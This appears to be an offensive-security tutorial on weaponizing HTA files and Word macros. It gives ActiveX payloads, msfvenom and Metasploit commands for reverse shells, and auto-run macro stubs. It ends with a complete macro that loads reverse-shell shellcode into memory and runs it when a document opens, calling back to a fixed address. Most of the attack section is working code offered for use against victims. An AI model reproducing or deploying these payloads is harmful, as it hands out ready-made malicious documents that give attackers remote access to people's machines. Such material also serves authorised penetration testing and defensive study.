Weaponization
In the Weaponization Stage, the Attacker Generates and Develops their own Malicious Code using deliverable Payloads such as Word Documents, PDFs, etc. The Weaponization Stage aims to use the Malicious Weapon to Exploit the Target Machine and gain Initial Access.
HTML Application (HTA)
HTA
allows you to create a Downloadable file that takes all the Information regarding how it is Displayed and Rendered. HTML Applications, also known as HTA's, which are dynamic HTML Pages containing JScript
and VBScript
. The Tool mshta
is used to execute HTA files. It can be executed by Itself or Automatically from Internet Explorer.
This is a Proof of Concept Payload that uses an ActiveXObject
to Execute cmd.exe
. We can Host this Payload on our Server and once the Victim runs the .hta
file the cmd.exe
is going to get Invoked.
<html>
<body>
<script>
var c= 'cmd.exe'
new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>
HTA Reverse Connection
We can use the msfvenom
from the Metasploit Framework to generate a Malicious Payload to connect back to the Attacker Machine.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f hta-psh -o <Output>
Malicious HTA via Metasploit
We can Generate and serve malicious HTA files using the Metasploit Framework.
On the Victim Machine, once the Malicious HTA File that was provided as a URL by Metasploit is Visited, we should receive a Reverse Connection.
use exploit/windows/misc/hta_server
set LHOST <IP>
set LPORT <PORT>
set SRVHOST <IP>
set payload windows/meterpreter/reverse_tcp
run
Visual Basic for Application (VBA)
VBA
is a Programming Language by Microsoft implemented for Microsoft Applications such as Microsoft Word, Excel, PowerPoint, etc. VBA Programming allows Automating Tasks of nearly every Keyboard and Mouse interaction between a User and Microsoft Office Applications.
Macros are Microsoft Office Applications that contain Embedded Code written in a Programming Language known as Visual Basic for Applications (VBA). It is used to create custom functions to speed up manual Tasks by creating automated processes. One of VBA's features is accessing the Windows Application Programming Interface (API) and other Low-Level functionality.
- Open
Microsoft Word
:- Select Blank Document.
- Click View.
- Click Macros and after View Macros.
- Assign the Macro Name (This is going to be your Function Name).
- Click Create.
- Click Edit.
It is Important to Note that to make the Macro work, we need to save it in Macro-Enabled format such as .doc .docm
Microsoft Word might show a Security Message
indicating that Macros have been Disabled and give us the option to Enable them.
- Basic Macro
- Macro Automation
- Proof of Concept Payload
- We can run the Macro by pressing
F5
orRun - Run Sub/UserForm
.
Sub Function_Name()
MsgBox ("Custom Message!")
End Sub
- If we want the Run the Macro automatically once the Document gets Open, we can use Built-In Functions such as
AutoOpen
andDocument_Open
.
Sub Document_Open()
Function_Name
End Sub
Sub AutoOpen()
Function_Name
End Sub
Sub Function_Name()
MsgBox ("Custom Message!")
End Sub
- With
Dim payload As String
, we declare Payload Variable as a String usingDim
Keyword. Withpayload = "calc.exe"
we are specifying the Payload name and finally withCreateObject("Wscript.Shell").Run payload
we create a Windows Scripting Host (WSH) Object and run the Payload.
Sub Document_Open()
Function_Name
End Sub
Sub AutoOpen()
Function_Name
End Sub
Sub PoC()
Dim payload As String
payload = "calc.exe"
CreateObject("Wscript.Shell").Run payload,0
End Sub
VBA Reverse Connection
We can use the msfvenom
from the Metasploit Framework to generate a Malicious Payload to connect back to the Attacking Machine.
Copy the Output and Save it into the Macro Editor of the Microsoft Word Document.
- MSFvenom
- Output
msfvenom -p windows/x64/shell_reverse_tcpLHOST=<IP> LPORT=<PORT> -f vba
Change the Workbook_Open() ➜ Document_Open()
to make it suitable for Microsoft Word Documents.
Workbook_Open
is going to Work only on Excel Documents.
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Ptj As Long, ByVal Hkwwl As Long, ByVal Caxe As LongPtr, Uoljo As Long, ByVal Fqvkqwus As Long, Medaebxv As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Koryhuauj As Long, ByVal Hffqw As Long, ByVal Nqolh As Long, ByVal Adnmkdgbi As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Sbanxao As LongPtr, ByRef Qhgrk As Any, ByVal Igfbijb As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Ptj As Long, ByVal Hkwwl As Long, ByVal Caxe As Long, Uoljo As Long, ByVal Fqvkqwus As Long, Medaebxv As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Koryhuauj As Long, ByVal Hffqw As Long, ByVal Nqolh As Long, ByVal Adnmkdgbi As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Sbanxao As Long, ByRef Qhgrk As Any, ByVal Igfbijb As Long) As Long
#EndIf
Sub Auto_Open()
Dim Aiw As Long, Dhf As Variant, Jucov As Long
#If Vba7 Then
Dim Pcblntjdp As LongPtr, Pmtavrcp As LongPtr
#Else
Dim Pcblntjdp As Long, Pmtavrcp As Long
#EndIf
Dhf = Array(252,72,131,228,240,232,192,0,0,0,65,81,65,80,82,81,86,72,49,210,101,72,139,82,96,72,139,82,24,72,139,82,32,72,139,114,80,72,15,183,74,74,77,49,201,72,49,192,172,60,97,124,2,44,32,65,193,201,13,65,1,193,226,237,82,65,81,72,139,82,32,139,66,60,72,1,208,139,128,136,0, _
0,0,72,133,192,116,103,72,1,208,80,139,72,24,68,139,64,32,73,1,208,227,86,72,255,201,65,139,52,136,72,1,214,77,49,201,72,49,192,172,65,193,201,13,65,1,193,56,224,117,241,76,3,76,36,8,69,57,209,117,216,88,68,139,64,36,73,1,208,102,65,139,12,72,68,139,64,28,73,1, _
208,65,139,4,136,72,1,208,65,88,65,88,94,89,90,65,88,65,89,65,90,72,131,236,32,65,82,255,224,88,65,89,90,72,139,18,233,87,255,255,255,93,73,190,119,115,50,95,51,50,0,0,65,86,73,137,230,72,129,236,160,1,0,0,73,137,229,73,188,2,0,1,187,10,10,10,10,65,84,73, _
137,228,76,137,241,65,186,76,119,38,7,255,213,76,137,234,104,1,1,0,0,89,65,186,41,128,107,0,255,213,80,80,77,49,201,77,49,192,72,255,192,72,137,194,72,255,192,72,137,193,65,186,234,15,223,224,255,213,72,137,199,106,16,65,88,76,137,226,72,137,249,65,186,153,165,116,97,255,213,72, _
129,196,64,2,0,0,73,184,99,109,100,0,0,0,0,0,65,80,65,80,72,137,226,87,87,87,77,49,192,106,13,89,65,80,226,252,102,199,68,36,84,1,1,72,141,68,36,24,198,0,104,72,137,230,86,80,65,80,65,80,65,80,73,255,192,65,80,73,255,200,77,137,193,76,137,193,65,186,121,204, _
63,134,255,213,72,49,210,72,255,202,139,14,65,186,8,135,29,96,255,213,187,240,181,162,86,65,186,166,149,189,157,255,213,72,131,196,40,60,6,124,10,128,251,224,117,5,187,71,19,114,111,106,0,89,65,137,218,255,213)
Pcblntjdp = VirtualAlloc(0, UBound(Dhf), &H1000, &H40)
For Jucov = LBound(Dhf) To UBound(Dhf)
Aiw = Dhf(Jucov)
Pmtavrcp = RtlMoveMemory(Pcblntjdp + Jucov, Aiw, 1)
Next Jucov
Pmtavrcp = CreateThread(0, 0, Pcblntjdp, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub